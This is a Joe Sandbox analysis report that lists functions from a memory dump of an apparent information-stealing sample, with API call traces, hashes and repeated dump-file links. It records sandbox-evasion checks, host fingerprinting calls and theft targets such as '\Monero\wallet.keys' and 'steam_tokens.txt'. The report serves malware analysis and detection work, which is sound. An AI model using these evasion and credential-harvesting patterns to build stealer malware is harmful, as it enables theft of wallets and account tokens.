Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 1776c84adc11a562128638a94bfe2db3c5cfdcf1bd45e0000df92b30197eda52
Instruction ID: b9a72c8b38aa06b1715cf3a97795739eded4db6c839d8c836191d971f68aa0e2
Opcode Fuzzy Hash: 1776c84adc11a562128638a94bfe2db3c5cfdcf1bd45e0000df92b30197eda52
Instruction Fuzzy Hash: 8EF03A74A0420CFBDB04DFA4DD8ABED7778AB08301F004598BB199B280D6B0AE85DB90

Function 007C1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 007C112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 007C1132
ExitProcess.KERNEL32 ref: 007C1143

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: c34a84b086f87d886f6452240f07ffbc9cdce013bc5559a036b806d6c5993de8
Instruction ID: 3a4c06d510679686e82ccc2a1a336a82d3bc120ad725a20d51d56f689e4b6826
Opcode Fuzzy Hash: c34a84b086f87d886f6452240f07ffbc9cdce013bc5559a036b806d6c5993de8
Instruction Fuzzy Hash: C1E0867095934CFBE7109BA09C0EF0877689B04B02F104059F708BE1C0C6B929409658

Function 007D1520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

Part of subcall function 007D6FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 007D6FE2
Part of subcall function 007D6FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 007D701F
Part of subcall function 007D6FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007D70A3
Part of subcall function 007D6FA0: RtlAllocateHeap.NTDLL(00000000), ref: 007D70AA

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

Part of subcall function 007D7130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007D7144
Part of subcall function 007D7130: RtlAllocateHeap.NTDLL(00000000), ref: 007D714B

Part of subcall function 007D7260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,007DD5B0,000000FF,?,007D17A9,00000000,?,012DD8A0,00000000,?), ref: 007D7292
Part of subcall function 007D7260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,007DD5B0,000000FF,?,007D17A9,00000000,?,012DD8A0,00000000,?), ref: 007D7299

Part of subcall function 007D72F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007C11B7), ref: 007D7320
Part of subcall function 007D72F0: RtlAllocateHeap.NTDLL(00000000), ref: 007D7327
Part of subcall function 007D72F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 007D733F

Part of subcall function 007D7380: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007D73B0
Part of subcall function 007D7380: RtlAllocateHeap.NTDLL(00000000), ref: 007D73B7
Part of subcall function 007D7380: GetComputerNameA.KERNEL32(?,00000104), ref: 007D73CF

Part of subcall function 007D7420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,007E0DD0,00000000,?), ref: 007D7450
Part of subcall function 007D7420: RtlAllocateHeap.NTDLL(00000000), ref: 007D7457
Part of subcall function 007D7420: GetLocalTime.KERNEL32(?,?,?,?,?,007E0DD0,00000000,?), ref: 007D7464
Part of subcall function 007D7420: wsprintfA.USER32 ref: 007D7493

Part of subcall function 007D74D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,012DE548,00000000,?,007E0DE0,00000000,?,00000000,00000000), ref: 007D7503
Part of subcall function 007D74D0: RtlAllocateHeap.NTDLL(00000000), ref: 007D750A
Part of subcall function 007D74D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,012DE548,00000000,?,007E0DE0,00000000,?,00000000,00000000,?), ref: 007D751D

Part of subcall function 007D75A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,012DE548,00000000,?,007E0DE0,00000000,?,00000000,00000000), ref: 007D75D5

Part of subcall function 007D7630: GetKeyboardLayoutList.USER32(00000000,00000000,007E059F), ref: 007D7681
Part of subcall function 007D7630: LocalAlloc.KERNEL32(00000040,?), ref: 007D7699
Part of subcall function 007D7630: GetKeyboardLayoutList.USER32(?,00000000), ref: 007D76AD
Part of subcall function 007D7630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 007D7702
Part of subcall function 007D7630: LocalFree.KERNEL32(00000000), ref: 007D77C2

Part of subcall function 007D7820: GetSystemPowerStatus.KERNEL32(?), ref: 007D784D

GetCurrentProcessId.KERNEL32(00000000,?,012DD9C0,00000000,?,007E0DF4,00000000,?,00000000,00000000,?,012DE5A8,00000000,?,007E0DF0,00000000), ref: 007D1B8E

Part of subcall function 007D8F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 007D8F24
Part of subcall function 007D8F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 007D8F45
Part of subcall function 007D8F10: CloseHandle.KERNEL32(00000000), ref: 007D8F4F

Part of subcall function 007D78A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007D78D7
Part of subcall function 007D78A0: RtlAllocateHeap.NTDLL(00000000), ref: 007D78DE
Part of subcall function 007D78A0: RegOpenKeyExA.KERNEL32(80000002,012CC438,00000000,00020119,?), ref: 007D78FE
Part of subcall function 007D78A0: RegQueryValueExA.KERNEL32(?,012DD960,00000000,00000000,000000FF,000000FF), ref: 007D791F
Part of subcall function 007D78A0: RegCloseKey.ADVAPI32(?), ref: 007D7932

Part of subcall function 007D7A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 007D7A69
Part of subcall function 007D7A00: GetLastError.KERNEL32 ref: 007D7A78

Part of subcall function 007D7970: GetSystemInfo.KERNEL32(007E0DFC), ref: 007D79A0
Part of subcall function 007D7970: wsprintfA.USER32 ref: 007D79B6

Part of subcall function 007D7BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,012DE608,00000000,?,007E0DFC,00000000,?,00000000), ref: 007D7BD0
Part of subcall function 007D7BA0: RtlAllocateHeap.NTDLL(00000000), ref: 007D7BD7
Part of subcall function 007D7BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 007D7BF8
Part of subcall function 007D7BA0: wsprintfA.USER32 ref: 007D7C4C

Part of subcall function 007D8260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,007E0DF8,00000000,?), ref: 007D82CF
Part of subcall function 007D8260: RtlAllocateHeap.NTDLL(00000000), ref: 007D82D6
Part of subcall function 007D8260: wsprintfA.USER32 ref: 007D82F0

Part of subcall function 007D7DC0: RegOpenKeyExA.KERNEL32(00000000,012DB1C8,00000000,00020019,00000000,007E05A6), ref: 007D7E44

Part of subcall function 007D7DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 007D7EC6
Part of subcall function 007D7DC0: wsprintfA.USER32 ref: 007D7EF9
Part of subcall function 007D7DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 007D7F1B
Part of subcall function 007D7DC0: RegCloseKey.ADVAPI32(00000000), ref: 007D7F2C
Part of subcall function 007D7DC0: RegCloseKey.ADVAPI32(00000000), ref: 007D7F39

Part of subcall function 007D8120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 007D816A
Part of subcall function 007D8120: Process32First.KERNEL32(?,00000128), ref: 007D817E
Part of subcall function 007D8120: Process32Next.KERNEL32(?,00000128), ref: 007D8193
Part of subcall function 007D8120: FindCloseChangeNotification.KERNEL32(?), ref: 007D8201

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 007D216B

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUserlstrcatlstrlen$AllocChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 2395215017-0
Opcode ID: 40ee544766a5e1066e2372bc2d3265a626f6c81310d6f44e148802680ee7abd1
Instruction ID: 7dc8953d893605c93e4dc2126c5e2e324699a17c359e08a43d8fb83121181635
Opcode Fuzzy Hash: 40ee544766a5e1066e2372bc2d3265a626f6c81310d6f44e148802680ee7abd1
Instruction Fuzzy Hash: 91729C72814019FACB19FBA0DC9AEEE7339BF54300F54429AB05762191EF753B48DBA1

Function 007C6D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c6be99f89014a90299fbc5bf04104badbf84ad58e63bd45c39994d74470a67d
Instruction ID: 766ae164b059454c4093ed2d1c624e54201fe6a5a5a49fcb1296cb38bdcb313e
Opcode Fuzzy Hash: 4c6be99f89014a90299fbc5bf04104badbf84ad58e63bd45c39994d74470a67d
Instruction Fuzzy Hash: 1461D3B5900209EFCB14DF94E988FEEB7B0BB48304F10859DE8056B281D779AE95DF91

Function 007D4BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA1F0: lstrlen.KERNEL32(007C4F55,?,?,007C4F55,007E0DC6), ref: 007DA1FB
Part of subcall function 007DA1F0: lstrcpy.KERNEL32(007E0DC6,00000000), ref: 007DA255

lstrlen.KERNEL32(00000000,00000000,007E0AB3), ref: 007D4C0A

Strings

steam_tokens.txt, xrefs: 007D4C1F

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 5fb5c03ceaadc19c88b52c595c631a106b7b7dc4f2f23c70ca710bd601089965
Instruction ID: 72d350074fe019720b005a0f4c6112c8d5d307669dcab9f21632853b901d9d53
Opcode Fuzzy Hash: 5fb5c03ceaadc19c88b52c595c631a106b7b7dc4f2f23c70ca710bd601089965
Instruction Fuzzy Hash: A1F01D72D10108B6CF04F7B4EC5B9ED733CBA54300F80456AF81662292EF79661886A3

Function 007C1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 007C116A
ExitProcess.KERNEL32 ref: 007C117E

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 28db2f4c8a0ebf30cf77c564c293a6d181391ac8c416ac7bcd1bf8778ea20155
Instruction ID: 5212b082094c5a5a31d896ad8691fa1f2f248786d5ed208685d06beeb58f680f
Opcode Fuzzy Hash: 28db2f4c8a0ebf30cf77c564c293a6d181391ac8c416ac7bcd1bf8778ea20155
Instruction Fuzzy Hash: CCD05EB491420CDBCB00DFE09989ADDBB79AB0D311F000A59ED0562240EA306842CB65

Function 007CB370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

Part of subcall function 007C9E60: LocalAlloc.KERNEL32(00000040,?), ref: 007C9EFE

lstrlen.KERNEL32(00000000), ref: 007CB820
lstrlen.KERNEL32(00000000), ref: 007CB834

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID:
API String ID: 3073930149-0
Opcode ID: 93db540ab605ed4229eab50c4c7ee77e2f337b3ec466e869cf1f13364eef3fc9
Instruction ID: 60edb95af8d22c9c6e70215266d895e9d070b0fa34ffe10a13a9c66e7fbf9ddd
Opcode Fuzzy Hash: 93db540ab605ed4229eab50c4c7ee77e2f337b3ec466e869cf1f13364eef3fc9
Instruction Fuzzy Hash: AEE1EF72810119EBCF15EBA0CC9AEEE7338BF54300F44456AF50766191EF796E48DBA2

Function 007CAD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

lstrlen.KERNEL32(00000000), ref: 007CAFEA
lstrlen.KERNEL32(00000000), ref: 007CAFFE

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
